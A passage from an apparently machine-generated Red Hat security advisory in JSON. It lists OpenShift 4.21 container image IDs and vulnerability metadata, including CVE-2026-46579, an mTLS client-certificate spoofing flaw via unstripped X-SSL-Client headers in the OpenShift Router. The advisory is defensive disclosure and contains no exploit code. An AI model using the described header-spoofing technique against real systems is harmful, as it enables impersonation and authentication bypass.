"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: Client-side Denial of Service via unescaped regex metacharacters in XSRF cookie name"
},
{
"acknowledgments": [
{
"names": [
"Ricardo Pchevuzinske Katz"
],
"organization": "Red Hat",
"summary": "This issue was discovered by Red Hat."
}
],
"cve": "CVE-2026-46579",
"cwe": {
"id": "CWE-287",
"name": "Improper Authentication"
},
"discovery_date": "2026-04-17T20:10:23+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2483181"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in the OpenShift Router. When a Route has `insecureEdgeTerminationPolicy` set to Allow, the HTTP frontend does not remove `X-SSL-Client-*` headers from incoming requests. This allows an unauthenticated attacker to send plain HTTP requests with crafted `X-SSL-Client-*` headers. As a result, backends relying on these headers for mutual TLS (Transport Layer Security) authentication can be bypassed, enabling the attacker to impersonate client certificate identities.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "openshift/router: openshift/router: mTLS client certificate spoofing via unstripped X-SSL-Client headers on HTTP frontend",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64"
],
"known_not_affected": [
